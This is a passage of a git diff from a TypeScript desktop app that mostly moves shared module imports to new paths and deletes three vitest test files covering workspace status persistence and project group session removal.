b/src/main/persistence/tracking-repos/persistence-workspace-repin-automation-owner.test.ts index 2dcb91b93af..f8eafd33990 100644 --- a/src/main/persistence/tracking-repos/persistence-workspace-repin-automation-owner.test.ts +++ b/src/main/persistence/tracking-repos/persistence-workspace-repin-automation-owner.test.ts @@ -16,7 +16,7 @@ import type { ProjectGroup } from '../../../shared/project/groups/project-group- import type { Repo } from '../../../shared/repository/repo-types' import type { SshTarget } from '../../../shared/remote-runtime/ssh/ssh-types' -import { getDefaultPersistedState } from '../../../shared/constants' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' import { folderWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' import { installFakeAppEnvironment } from '../../../../config/scripts/test-runtime/environment/vitest-host-ports-setup' import { resetRetirementCollisionKeyCacheForTests } from '../../workspaces/removal/retirement/worktree-name-retirement' diff --git a/src/main/persistence/tracking-repos/persistence-workspace-status-workflow.test.ts b/src/main/persistence/tracking-repos/persistence-workspace-status-workflow.test.ts deleted file mode 100644 index ad9799f7b6e..00000000000 --- a/src/main/persistence/tracking-repos/persistence-workspace-status-workflow.test.ts +++ /dev/null @@ -1,105 +0,0 @@ -import { - closeTestStores, - testState, - createStore, - writeDataFile, - readDataFile -} from '../persistence-test-harness' -import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' -import { rmSync, mkdtempSync } from 'node:fs' -import { join } from 'node:path' -import { tmpdir } from 'node:os' -import type { PersistedState } from '../../../shared/persisted-state-types' - -const { loadUserSshConfigMock, sshConfigHostsToTargetsMock } = vi.hoisted(() => ({ - loadUserSshConfigMock: vi.fn(), - sshConfigHostsToTargetsMock: vi.fn() -})) - -vi.mock('../../ssh/config/ssh-config-parser', () => ({ - loadUserSshConfig: loadUserSshConfigMock, - sshConfigHostsToTargets: sshConfigHostsToTargetsMock -})) -const { trackMock, getCohortAtEmitMock } = vi.hoisted(() => ({ - trackMock: vi.fn(), - getCohortAtEmitMock: vi.fn() -})) - -vi.mock('electron', () => ({ - app: { - getPath: () => testState.dir - }, - safeStorage: { - isEncryptionAvailable: () => true, - encryptString: (plaintext: string) => Buffer.from(`encrypted:${plaintext}`, 'utf-8'), - decryptString: (ciphertext: Buffer) => { - const decoded = ciphertext.toString('utf-8') - if (!decoded.startsWith('encrypted:')) { - throw new Error('invalid ciphertext') - } - return decoded.slice('encrypted:'.length) - } - } -})) - -vi.mock('../../telemetry/client', () => ({ - track: trackMock -})) - -vi.mock('../../telemetry/cohort-classifier', () => ({ - getCohortAtEmit: getCohortAtEmitMock -})) - -describe('Store', () => { - beforeEach(() => { - testState.dir = mkdtempSync(join(tmpdir(), 'orca-test-')) - trackMock.mockReset() - getCohortAtEmitMock.mockReset() - getCohortAtEmitMock.mockReturnValue({ nth_repo_added: 2 }) - }) - - afterEach(async () => { - await closeTestStores() - rmSync(testState.dir, { recursive: true, force: true }) - }) - - it('preserves workflows above 20 statuses across load, write, and restart', async () => { - const imported = Array.from({ length: 21 }, (_, index) => ({ - id: `state-${index + 1}`, - label: `State ${index + 1}` - })).toReversed() - writeDataFile({ - schemaVersion: 1, - repos: [], - worktreeMeta: {}, - settings: {}, - ui: { workspaceStatuses: imported }, - githubCache: { pr: {}, issue: {} }, - workspaceSession: {} - }) - - const store = await createStore() - expect(store.getUI().workspaceStatuses?.map((status) => status.id)).toEqual( - imported.map((status) => status.id) - ) - - const authored = Array.from({ length: 64 }, (_, index) => ({ - id: `final-${String(index + 1).padStart(3, '0')}`, - label: `Final ${index + 1}` - })).toReversed() - store.updateUI({ workspaceStatuses: authored }) - store.flush() - - expect(store.getUI().workspaceStatuses?.map((status) => status.id)).toEqual( - authored.map((status) => status.id) - ) - expect( - (readDataFile() as PersistedState).ui.workspaceStatuses?.map((status) => status.id) - ).toEqual(authored.map((status) => status.id)) - - const restarted = await createStore() - expect(restarted.getUI().workspaceStatuses?.map((status) => status.id)).toEqual( - authored.map((status) => status.id) - ) - }) -}) diff --git a/src/main/persistence/tracking-repos/persistence-worktree-deletion-fencing.test.ts b/src/main/persistence/tracking-repos/persistence-worktree-deletion-fencing.test.ts index 55005f699f3..7c981203d22 100644 --- a/src/main/persistence/tracking-repos/persistence-worktree-deletion-fencing.test.ts +++ b/src/main/persistence/tracking-repos/persistence-worktree-deletion-fencing.test.ts @@ -9,7 +9,7 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import { hostWorktreeTarget } from '../../../shared/worktree/host-qualified-identity' import { removeWorktreeMetaRow } from '../host-qualified-worktree-meta' diff --git a/src/main/persistence/tracking-repos/persistence-worktree-meta-and-folder-workspaces.test.ts b/src/main/persistence/tracking-repos/persistence-worktree-meta-and-folder-workspaces.test.ts index 83f44abb845..2428cba7aa6 100644 --- a/src/main/persistence/tracking-repos/persistence-worktree-meta-and-folder-workspaces.test.ts +++ b/src/main/persistence/tracking-repos/persistence-worktree-meta-and-folder-workspaces.test.ts @@ -11,8 +11,8 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import type { PersistedState } from '../../../shared/persisted-state-types' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import { folderWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' const { loadUserSshConfigMock, sshConfigHostsToTargetsMock } = vi.hoisted(() => ({ diff --git a/src/main/persistence/tracking-repos/persistence-worktree-meta-host-target-twins.test.ts b/src/main/persistence/tracking-repos/persistence-worktree-meta-host-target-twins.test.ts index 852fa57faa8..1cf7c199299 100644 --- a/src/main/persistence/tracking-repos/persistence-worktree-meta-host-target-twins.test.ts +++ b/src/main/persistence/tracking-repos/persistence-worktree-meta-host-target-twins.test.ts @@ -10,7 +10,7 @@ import { join } from 'node:path' import { tmpdir } from 'node:os' import type { Repo } from '../../../shared/repository/repo-types' import type { WorktreeLineage } from '../../../shared/worktree/lineage-types' -import { getDefaultPersistedState } from '../../../shared/constants' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' import { hostWorktreeTarget } from '../../../shared/worktree/host-qualified-identity' import { worktreeWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' import { removeWorktreeMetaRow } from '../host-qualified-worktree-meta' diff --git a/src/main/persistence/tracking-repos/persistence-worktree-name-retirement.test.ts b/src/main/persistence/tracking-repos/persistence-worktree-name-retirement.test.ts index a95c64a3afa..6678643c1aa 100644 --- a/src/main/persistence/tracking-repos/persistence-worktree-name-retirement.test.ts +++ b/src/main/persistence/tracking-repos/persistence-worktree-name-retirement.test.ts @@ -8,8 +8,8 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { getDefaultPersistedState } from '../../../shared/constants' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import type { SshTarget } from '../../../shared/remote-runtime/ssh/ssh-types' import { installFakeAppEnvironment } from '../../../../config/scripts/test-runtime/environment/vitest-host-ports-setup' import { resetRetirementCollisionKeyCacheForTests } from '../../workspaces/removal/retirement/worktree-name-retirement' diff --git a/src/main/persistence/tracking-repos/persistence-worktree-visibility.test.ts b/src/main/persistence/tracking-repos/persistence-worktree-visibility.test.ts index 8a30d13211e..002a3155266 100644 --- a/src/main/persistence/tracking-repos/persistence-worktree-visibility.test.ts +++ b/src/main/persistence/tracking-repos/persistence-worktree-visibility.test.ts @@ -10,7 +10,7 @@ import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import { getDefaultPersistedState } from '../../../shared/constants' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' const { loadUserSshConfigMock, sshConfigHostsToTargetsMock } = vi.hoisted(() => ({ loadUserSshConfigMock: vi.fn(), diff --git a/src/main/persistence/tracking-repos/project-group-batch-update.test.ts b/src/main/persistence/tracking-repos/project-group-batch-update.test.ts deleted file mode 100644 index a22ba4effd8..00000000000 --- a/src/main/persistence/tracking-repos/project-group-batch-update.test.ts +++ /dev/null @@ -1,34 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { getDefaultPersistedState } from '../../../shared/constants' -import { createProjectGroup } from '../../../shared/project/groups/project-groups' -import { ProjectGroupPersistenceOperations } from './project-group-operations' - -function fixture() { - const state = getDefaultPersistedState('/workspace') - state.projectGroups = ['a', 'b', 'other'].map((id, tabOrder) => ({ - ...createProjectGroup({ name: id, createdFrom: 'manual', tabOrder }), - id - })) - const operations = new ProjectGroupPersistenceOperations({ - state, - scheduleSave: () => {}, - removeWorkspaceLineageForRemovedFolder: () => {}, - pruneMobileClientTabSelections: () => {} - }) - return { state, operations } -} - -describe('batch project group updates', () => { - it('rejects the entire batch when a group has disappeared', () => { - const { state, operations } = fixture() - const before = structuredClone(state.projectGroups) - - expect( - operations.updateProjectGroups([ - { groupId: 'a', updates: { rootProjectOrder: 1000 } }, - { groupId: 'missing', updates: { rootProjectOrder: 2000 } } - ]) - ).toBeNull() - expect(state.projectGroups).toEqual(before) - }) -}) diff --git a/src/main/persistence/tracking-repos/project-group-operations.ts b/src/main/persistence/tracking-repos/project-group-operations.ts index 50ff38f990d..1d34b6c8cf2 100644 --- a/src/main/persistence/tracking-repos/project-group-operations.ts +++ b/src/main/persistence/tracking-repos/project-group-operations.ts @@ -1,6 +1,6 @@ import type { ProfileSaveDomains } from '../profile-save-domains' import { WORKSPACE_SESSION_DOMAINS } from '../workspace-session-domains' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { ProjectGroup, ProjectGroupMutation, diff --git a/src/main/persistence/tracking-repos/project-group-session-batch.test.ts b/src/main/persistence/tracking-repos/project-group-session-batch.test.ts deleted file mode 100644 index 6e67f66f092..00000000000 --- a/src/main/persistence/tracking-repos/project-group-session-batch.test.ts +++ /dev/null @@ -1,124 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import { getDefaultPersistedState, getDefaultWorkspaceSession } from '../../../shared/constants' -import { createProjectGroup } from '../../../shared/project/groups/project-groups' -import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types' -import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' -import { folderWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' -import { createMinimalPersistedTerminalTab } from '../restoring-sessions/session-owner-fields' -import { ProjectGroupPersistenceOperations } from './project-group-operations' - -function workspace(id: string, projectGroupId: string): FolderWorkspace { - return { - id, - projectGroupId, - name: id, - folderPath: '/workspace', - linkedTask: null, - comment: '', - isArchived: false, - isUnread: false, - isPinned: false, - sortOrder: 0, - lastActivityAt: 0, - createdAt: 0, - updatedAt: 0 - } -} - -function session(owners: string[]): WorkspaceSessionState { - const result = getDefaultWorkspaceSession() - result.activeWorkspaceKey = folderWorkspaceKey(owners[0]) - result.activeWorktreeId = folderWorkspaceKey(owners[0]) - result.activeWorktreeIdsOnShutdown = owners.map(folderWorkspaceKey) - result.lastVisitedAtByWorktreeId = {} - result.defaultTerminalTabsAppliedByWorktreeId = {} - result.terminalPtyIncarnationsByPaneKey = {} - result.terminalTopologyRevisionByRepoId = { unrelated: 7 } - for (const id of owners) { - const owner = folderWorkspaceKey(id) - result.tabsByWorktree[owner] = [ - { - ...createMinimalPersistedTerminalTab({ - worktreeId: owner, - tabId: id, - ptyId: `pty-${id}`, - existingTabCount: 0 - }), - createdAt: 0 - } - ] - result.terminalLayoutsByTabId[id] = { - root: { type: 'leaf', leafId: `leaf-${id}` }, - activeLeafId: `leaf-${id}`, - expandedLeafId: null, - buffersByLeafId: { [`leaf-${id}`]: 'scrollback'.repeat(1024) } - } - result.lastVisitedAtByWorktreeId[`ssh:builder|${owner}`] = 1 - result.defaultTerminalTabsAppliedByWorktreeId[owner] = true - result.terminalPtyIncarnationsByPaneKey[`${id}:leaf-${id}`] = `incarnation-${id}` - } - return result -} - -function fixture(folderCount: number) { - const state = getDefaultPersistedState('/home/test') - state.projectGroups = [ - { ...createProjectGroup({ name: 'Root', createdFrom: 'manual', tabOrder: 0 }), id: 'root' }, - { - ...createProjectGroup({ name: 'Child', createdFrom: 'manual', tabOrder: 1 }), - id: 'child', - parentGroupId: 'root' - }, - { ...createProjectGroup({ name: 'Other', createdFrom: 'manual', tabOrder: 2 }), id: 'other' } - ] - const removedIds = Array.from({ length: folderCount }, (_, index) => `removed-${index}`) - state.folderWorkspaces = [ - ...removedIds.map((id, index) => workspace(id, index % 2 ? 'child' : 'root')), - workspace('kept', 'other') - ] - state.workspaceSession = session([...removedIds, 'kept']) - state.workspaceSessionsByHostId = { - 'ssh:builder': session([...removedIds, 'kept']), - 'runtime:remote': session([...removedIds, 'kept']) - } - const scheduleSave = vi.fn() - const removeWorkspaceLineageForRemovedFolder = vi.fn() - const selected = new Set([...removedIds, 'kept'].map(folderWorkspaceKey)) - const pruneMobileClientTabSelections = vi.fn((matches: (owner: string) => boolean) => { - for (const owner of selected) { - if (matches(owner)) { - selected.delete(owner) - } - } - }) - const operations = new ProjectGroupPersistenceOperations({ - state, - scheduleSave, - removeWorkspaceLineageForRemovedFolder, - pruneMobileClientTabSelections - }) - return { - state, - removedIds, - selected, - operations - } -} - -describe('project group session removal', () => { - it('removes the entire subtree from local spill and remote sessions while preserving other owners', () => { - const setup = fixture(8) - const kept = session(['kept']) - kept.activeWorkspaceKey = null - kept.activeWorktreeId = null - expect(setup.operations.deleteProjectGroup('root')).toBe(true) - expect(setup.state.workspaceSession).toEqual(kept) - expect(setup.state.workspaceSessionsByHostId).toEqual({ - 'ssh:builder': kept, - 'runtime:remote': kept - }) - expect(setup.state.projectGroups?.map((group) => group.id)).toEqual(['other']) - expect(setup.state.folderWorkspaces.map((entry) => entry.id)).toEqual(['kept']) - expect(setup.selected).toEqual(new Set([folderWorkspaceKey('kept')])) - }) -}) diff --git a/src/main/persistence/tracking-repos/project-host-compatibility.ts b/src/main/persistence/tracking-repos/project-host-compatibility.ts index b3851298660..a713eb1808e 100644 --- a/src/main/persistence/tracking-repos/project-host-compatibility.ts +++ b/src/main/persistence/tracking-repos/project-host-compatibility.ts @@ -1,7 +1,7 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { ProjectHostSetup } from '../../../shared/project/project-types' import type { Repo } from '../../../shared/repository/repo-types' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { projectHostSetupProjectionFromRepos } from '../../../shared/project/host-setup/project-host-setup-projection' import { carryProjectStateThroughIdentityChange } from '../../../shared/project/catalog/project-identity-succession' import { markWorktreeRouteInputsChanged } from '../../workspaces/catalog/local-worktree-scan-generation' diff --git a/src/main/persistence/tracking-repos/project-host-operations.ts b/src/main/persistence/tracking-repos/project-host-operations.ts index 59da402d616..5d6972102c2 100644 --- a/src/main/persistence/tracking-repos/project-host-operations.ts +++ b/src/main/persistence/tracking-repos/project-host-operations.ts @@ -10,10 +10,13 @@ import type { ProjectHostSetupUpdateResult, ProjectUpdateArgs } from '../../../shared/project/project-types' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { Repo } from '../../../shared/repository/repo-types' import type { RepoHostTarget } from '../../../shared/repository/repo-host-identity' -import { getRepoExecutionHostId, normalizeExecutionHostId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + normalizeExecutionHostId +} from '../../../shared/execution-host/execution-host' import { normalizeProjectRuntimePreference } from '../../../shared/execution-host/project-runtime-preference' import { findProjectHostSetup } from '../../../shared/project/host-setup/project-host-setup-target' import { makeProjectHostSetupId } from './project-host-compatibility' diff --git a/src/main/persistence/tracking-repos/project-host-setup-update.ts b/src/main/persistence/tracking-repos/project-host-setup-update.ts index b73cd1ba415..f8d83491817 100644 --- a/src/main/persistence/tracking-repos/project-host-setup-update.ts +++ b/src/main/persistence/tracking-repos/project-host-setup-update.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { ProjectHostSetup, ProjectHostSetupUpdateArgs diff --git a/src/main/persistence/tracking-repos/repo-hydration.ts b/src/main/persistence/tracking-repos/repo-hydration.ts index cc907035a6b..1a66278bab3 100644 --- a/src/main/persistence/tracking-repos/repo-hydration.ts +++ b/src/main/persistence/tracking-repos/repo-hydration.ts @@ -1,6 +1,6 @@ import type { Repo } from '../../../shared/repository/repo-types' -import { getRepoExecutionHostId } from '../../../shared/execution-host' -import { getDefaultRepoHookSettings } from '../../../shared/constants' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' +import { getDefaultRepoHookSettings } from '../../../shared/orca-profiles/constants' import { isFolderRepo } from '../../../shared/repository/repo-kind' import { sanitizeRepoIcon } from '../../../shared/repository/appearance/repo-icon' import { normalizeGhAccountBinding } from '../../../shared/github/accounts/account-binding' diff --git a/src/main/persistence/tracking-repos/repo-order-operations.ts b/src/main/persistence/tracking-repos/repo-order-operations.ts index b8dec4354cd..ee7b8cea0c4 100644 --- a/src/main/persistence/tracking-repos/repo-order-operations.ts +++ b/src/main/persistence/tracking-repos/repo-order-operations.ts @@ -1,6 +1,9 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { Repo } from '../../../shared/repository/repo-types' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' export type RepoOrderMutationOperations = { state: PersistedState diff --git a/src/main/persistence/tracking-repos/repo-update-operations.ts b/src/main/persistence/tracking-repos/repo-update-operations.ts index 11d2374c6b8..47eef5ff7e8 100644 --- a/src/main/persistence/tracking-repos/repo-update-operations.ts +++ b/src/main/persistence/tracking-repos/repo-update-operations.ts @@ -1,6 +1,9 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { Repo } from '../../../shared/repository/repo-types' -import { type ExecutionHostId, getRepoExecutionHostId } from '../../../shared/execution-host' +import { + type ExecutionHostId, + getRepoExecutionHostId +} from '../../../shared/execution-host/execution-host' import type { RepoHostTarget } from '../../../shared/repository/repo-host-identity' import { isLegacyRepoForExternalWorktreeVisibility } from '../../../shared/worktree/visibility/external-worktree-visibility' diff --git a/src/main/persistence/tracking-repos/repo-worktree-pruning.ts b/src/main/persistence/tracking-repos/repo-worktree-pruning.ts index c8e5a52ad2a..0f16f3fa2b6 100644 --- a/src/main/persistence/tracking-repos/repo-worktree-pruning.ts +++ b/src/main/persistence/tracking-repos/repo-worktree-pruning.ts @@ -1,9 +1,12 @@ -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import { type WorkspaceKey, parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { removeWorkspaceSessionOwners, diff --git a/src/main/persistence/tracking-repos/worktree-identity-migration-field-coverage.test.ts b/src/main/persistence/tracking-repos/worktree-identity-migration-field-coverage.test.ts index ba4e5740adf..29a401933a5 100644 --- a/src/main/persistence/tracking-repos/worktree-identity-migration-field-coverage.test.ts +++ b/src/main/persistence/tracking-repos/worktree-identity-migration-field-coverage.test.ts @@ -1,7 +1,10 @@ // Drive migration coverage from the exhaustive ownership census and verify references with the shipping collector. import { describe, expect, it } from 'vitest' -import { getDefaultPersistedState, getDefaultWorkspaceSession } from '../../../shared/constants' -import type { PersistedState } from '../../../shared/persisted-state-types' +import { + getDefaultPersistedState, + getDefaultWorkspaceSession +} from '../../../shared/orca-profiles/constants' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { worktreeWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' diff --git a/src/main/persistence/tracking-repos/worktree-identity-migration.ts b/src/main/persistence/tracking-repos/worktree-identity-migration.ts index 5ead679313f..4101ac96d1d 100644 --- a/src/main/persistence/tracking-repos/worktree-identity-migration.ts +++ b/src/main/persistence/tracking-repos/worktree-identity-migration.ts @@ -8,7 +8,7 @@ import { type WorkspaceKey, worktreeWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { getWorktreeIdFromHostIdentity, isWorktreeHostIdentity diff --git a/src/main/persistence/tracking-repos/worktree-metadata-normalization.ts b/src/main/persistence/tracking-repos/worktree-metadata-normalization.ts index 54cbb4c4408..f850191b398 100644 --- a/src/main/persistence/tracking-repos/worktree-metadata-normalization.ts +++ b/src/main/persistence/tracking-repos/worktree-metadata-normalization.ts @@ -1,6 +1,9 @@ import { existsSync } from 'node:fs' import { isAbsolute } from 'node:path' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import { FOLDER_WORKSPACE_INSTANCE_SEPARATOR } from '../../../shared/worktree/id' import { isWindowsAbsolutePathLike } from '../../../shared/file-access/cross-platform-path' import { isWslUncPath } from '../../../shared/file-access/wsl-paths' @@ -14,7 +17,7 @@ import { normalizeWorkspaceLinkedItem } from '../../../shared/workspace-attachments/workspace-linked-item' import { isWorkspaceLinkedItemSourceContextMatch } from '../../../shared/workspace-attachments/workspace-linked-item-source-context' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { pruneUnreferencedWorktreeIdentityMeta, removeWorktreeMetadataForHost diff --git a/src/main/persistence/window-save-divergence.ts b/src/main/persistence/window-save-divergence.ts index 5f2a643a4eb..0d5e8fc1840 100644 --- a/src/main/persistence/window-save-divergence.ts +++ b/src/main/persistence/window-save-divergence.ts @@ -6,7 +6,7 @@ import { normalizeExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../shared/execution-host' +} from '../../shared/execution-host/execution-host' import { loadWorkspaceLayoutWithoutReport } from '../../shared/workspace-layout/persistence/workspace-layout-load' import { stableJson } from '../../shared/workspace-layout/persistence/workspace-layout-load-report' import { nameBasedLoadContext } from '../../shared/workspace-layout/persistence/workspace-layout-minted-ids' diff --git a/src/main/persistence/window-save-view.ts b/src/main/persistence/window-save-view.ts index 241b8d421f3..07be8ca35f5 100644 --- a/src/main/persistence/window-save-view.ts +++ b/src/main/persistence/window-save-view.ts @@ -5,7 +5,7 @@ import { normalizeExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../shared/execution-host' +} from '../../shared/execution-host/execution-host' import type { WorkspaceSessionPatch, WorkspaceSessionState diff --git a/src/main/persistence/worktree-meta-host-identity.ts b/src/main/persistence/worktree-meta-host-identity.ts index 2f615b98974..c6add043e81 100644 --- a/src/main/persistence/worktree-meta-host-identity.ts +++ b/src/main/persistence/worktree-meta-host-identity.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import type { WorktreeMeta } from '../../shared/worktree/meta-types' import { worktreeMetaIdentityKey } from '../../shared/worktree/identity' diff --git a/src/main/persistence/worktree-sort-order-write.ts b/src/main/persistence/worktree-sort-order-write.ts index f5636f2283d..3fb434bf532 100644 --- a/src/main/persistence/worktree-sort-order-write.ts +++ b/src/main/persistence/worktree-sort-order-write.ts @@ -1,4 +1,7 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../shared/execution-host/execution-host' import { getRepoIdFromWorktreeId } from '../../shared/worktree/id' import type { Repo } from '../../shared/repository/repo-types' import type { WorktreeMeta } from '../../shared/worktree/meta-types' diff --git a/src/main/plugins/appearance/plugin-appearance-colors.ts b/src/main/plugins/appearance/plugin-appearance-colors.ts index 51f8d880e3c..e4d8b7f7686 100644 --- a/src/main/plugins/appearance/plugin-appearance-colors.ts +++ b/src/main/plugins/appearance/plugin-appearance-colors.ts @@ -1,5 +1,5 @@ import { createHash } from 'node:crypto' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { TERMINAL_COLOR_OVERRIDES_SETTING } from '../../../shared/terminal-themes/terminal-color-overrides' import { isQualifiedPluginKey } from '../../../shared/plugins/manifest/plugin-manifest' import { diff --git a/src/main/plugins/appearance/plugin-appearance-service.ts b/src/main/plugins/appearance/plugin-appearance-service.ts index 0b6b9a2c64d..0e52305ebe4 100644 --- a/src/main/plugins/appearance/plugin-appearance-service.ts +++ b/src/main/plugins/appearance/plugin-appearance-service.ts @@ -2,7 +2,7 @@ import { createHash, randomBytes } from 'node:crypto' import { existsSync, readFileSync, statSync } from 'node:fs' import { join } from 'node:path' import { z } from 'zod' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { writeSecureFile } from '../../../shared/secure-storage/secure-file' import type { PluginThemeRegistration } from '../../../shared/plugins/artifacts/plugin-theme-artifact' import type { PluginTerminalThemeRegistration } from '../../../shared/plugins/artifacts/plugin-terminal-theme-artifact' diff --git a/src/main/plugins/appearance/plugin-appearance.test.ts b/src/main/plugins/appearance/plugin-appearance.test.ts index e865cf8cc5c..a7013c20f68 100644 --- a/src/main/plugins/appearance/plugin-appearance.test.ts +++ b/src/main/plugins/appearance/plugin-appearance.test.ts @@ -2,11 +2,11 @@ import { mkdtemp, rm, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, describe, expect, it } from 'vitest' -import { getDefaultSettings } from '../../../shared/constants' +import { getDefaultSettings } from '../../../shared/orca-profiles/constants' import { fingerprintPluginConsent } from '../../../shared/plugins/approval/plugin-consent-fingerprint' import { pluginManifestSchema } from '../../../shared/plugins/manifest/plugin-manifest' import { PLUGIN_HOST_API } from '../../../shared/plugins/workers/plugin-host-api' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { devFolderConsentIdentity } from '../discovery/plugin-discovery' import { PluginService } from '../plugin-service' import { createPluginAppearanceService } from './plugin-appearance-service' diff --git a/src/main/plugins/appearance/plugin-editor-typography.ts b/src/main/plugins/appearance/plugin-editor-typography.ts index 048216c4c1d..77d1ffe11ca 100644 --- a/src/main/plugins/appearance/plugin-editor-typography.ts +++ b/src/main/plugins/appearance/plugin-editor-typography.ts @@ -1,5 +1,5 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' -import type { PersistedUIState } from '../../../shared/persisted-ui-state-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' +import type { PersistedUIState } from '../../../shared/orca-profiles/persisted-ui-state-types' import type { PluginEventName } from '../../../shared/plugins/manifest/plugin-manifest' import { resolvePluginEditorTypography, diff --git a/src/main/plugins/events/plugin-event-workspace-id.ts b/src/main/plugins/events/plugin-event-workspace-id.ts index 30e5a5bcea7..abce55d55d4 100644 --- a/src/main/plugins/events/plugin-event-workspace-id.ts +++ b/src/main/plugins/events/plugin-event-workspace-id.ts @@ -1,4 +1,4 @@ -import { getConnectionExecutionHostId } from '../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' import { worktreeHostIdentity, diff --git a/src/main/plugins/workers/host-api/plugin-agent-history.ts b/src/main/plugins/workers/host-api/plugin-agent-history.ts index 95437b04293..fba4293ac90 100644 --- a/src/main/plugins/workers/host-api/plugin-agent-history.ts +++ b/src/main/plugins/workers/host-api/plugin-agent-history.ts @@ -4,7 +4,7 @@ import { createAiVaultScopeCwdMatcher } from '../../../../shared/ai-vault/scanning/ai-vault-scope-cwd-match' import { normalizeRuntimePathForComparison } from '../../../../shared/file-access/cross-platform-path' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { PLUGIN_AGENT_SESSION_LIST_LIMIT } from '../../../../shared/plugins/workers/plugin-host-api-agent-history' import { parseWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import { aiVaultSessionListCacheGeneration } from '../../../ai-vault/listing/cached-session-list' diff --git a/src/main/plugins/workers/host-api/plugin-host-agent-history-bindings.ts b/src/main/plugins/workers/host-api/plugin-host-agent-history-bindings.ts index 8a5a6eb13b7..a48cbaa03f5 100644 --- a/src/main/plugins/workers/host-api/plugin-host-agent-history-bindings.ts +++ b/src/main/plugins/workers/host-api/plugin-host-agent-history-bindings.ts @@ -6,7 +6,7 @@ import { } from 